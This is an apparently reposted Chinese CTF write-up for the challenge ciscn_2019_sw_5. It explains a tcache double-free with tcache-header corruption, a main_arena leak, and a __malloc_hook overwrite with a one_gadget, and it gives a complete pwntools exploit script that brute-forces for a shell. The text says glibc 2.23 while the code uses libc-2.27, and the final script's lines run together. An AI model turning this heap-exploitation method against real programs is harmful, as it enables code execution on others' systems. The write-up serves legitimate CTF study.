本文主要是介绍ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,仅两个功能
其中,delete功能只能用3次,delete功能没有清空指针,存在double free漏洞。
Add功能,size不可控,结尾printf可以输出堆内容。
我们可以利用add结尾的printf输出,main_arean地址,那么,我们需要得到unsorted bin才行。由于delete功能仅有3次机会。Glibc版本为2.23,存在tcache,因此,我们先利用2次,构造一个double free,然后分配到tcache 的表头,篡改对应size的chunk count为-1,同时篡改对应0x80的chunk头chunk指针为伪造的chunk地址,由于不知道堆地址,因此,我们需要爆破半个字节。
首先,申请三个堆
#0
add('t1','a')
#1
add('t2','b')
#2前0x18字节将划给后面伪造的0x100的chunk
fake_chunk = 'c'*0x8 + p64(0) + p64(0x61)
add('t3',fake_chunk)
由于,我们要在0~2之间伪造一个0x100的chunk,因此,t3的前0x18字节划分给了伪造的chunk,而要想之后成功释放这个伪造的chunk,而不报错,我们还需要把后面剩余的部分修复好,因此,在t3里,我们修复剩余的空间为0x61的chunk。
接下来,double free,然后篡改next指针
#double free
delete(0)
delete(0)
#攻击tcache bin表头
add('\x1E\x70','a')
接下来,第一次申请,申请到0原来的位置,我们开始伪造chunk
#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表
add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))
我们伪造的chunk如上图,之所以这么伪造,是因为最后一次delete是要用来得到unsorted bin的,首先,当我们申请到0x280处时,0x100的tcache bin头变更为0x270。此时,我们delete掉0x100的伪造chunk后0x280处保留了main_arena地址。接下来我们申请0x270处,tcache bin头变更为0x268,我们填充数据到0x280,然后,就可以泄露出0x280处的main_arena值。接下来,我们申请到0x268,tcache bin头变更为0x280,然后我们从0x268处开始向后写数据,在0x280处写上malloc_hook的地址。此时,tcache链表的布局变成了
0x280——malloc_hook
因此,我们继续申请,就能申请到malloc_hook处,完成利用,十分巧妙。
#4修改tcache bin表头,修改0x80的头为heap_base + 0x280
payload = '\x00'*0x5A + p64(heap_base + 0x280)
#修改0x100的count为-1
add('\xFF',payload) #5
#申请到heap_base + 0x280处即伪造chunk
add('t1','a') #6
#得到unsorted bin
delete(6)
add('a'*0x8,'a'*0x10)
sh.recvuntil('a'*0x18)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
综上,完整的exp
#coding:utf8
from pwn import *#context.log_level = 'debug'
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
one_gadget_s = 0x10a38cdef add(title,content):sh.sendlineafter('>>','1')sh.sendafter('title:',title)sh.sendafter('content:',content)def delete(index):sh.sendlineafter('>>','2')sh.sendlineafter('index:',str(index))def exploit():#0add('t1','a')#1add('t2','b')#2前0x18字节将划给后面伪造的0x100的chunkfake_chunk = 'c'*0x8 + p64(0) + p64(0x61)add('t3',fake_chunk)#double freedelete(0)delete(0)#攻击tcache bin表头add('\x1E\x70','a')sh.recvuntil('\n')heap_base = u64(sh.recv(6).ljust(8,'\x00')) & (0xFFFFFFFFFFFFFF00)print 'heap_base=',hex(heap_base)#3伪造一个0x100的chunk,同时设置next指针仍然指向heap_base + 0x280,形成循环链表add('t1',p64(heap_base + 0x280) + p64(heap_base + 0x268) + p64(0x101) + p64(heap_base + 0x270))#4修改tcache bin表头,修改0x80的头为heap_base + 0x280payload = '\x00'*0x5A + p64(heap_base + 0x280)#修改0x100的count为-1add('\xFF',payload) #5#申请到heap_base + 0x280处即伪造chunkadd('t1','a') #6#得到unsorted bindelete(6)add('a'*0x8,'a'*0x10)sh.recvuntil('a'*0x18)main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)libc_base = malloc_hook_addr - malloc_hook_sif libc_base >> 40 != 0x7F:raise Exception('error leak!')one_gadget_addr = libc_base + one_gadget_sprint 'libc_base=',hex(libc_base)print 'malloc_hook_addr=',hex(malloc_hook_addr)print 'one_gadget_addr=',hex(one_gadget_addr)#申请到heap_base+0x268处,覆盖0x280处的next指针add('a','a'*0x10 + p64(malloc_hook_addr))add('a','a')#改写malloc_hookadd(p64(one_gadget_addr),'\x00')#getshellsh.sendlineafter('>>','1')while True:try:global shsh = process('./ciscn_2019_sw_5')#sh = remote('node3.buuoj.cn',29046)exploit()sh.interactive()except:sh.close()print 'trying...'
这篇关于ciscn_2019_sw_5(tcache下delete次数限制时的巧妙利用手法)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!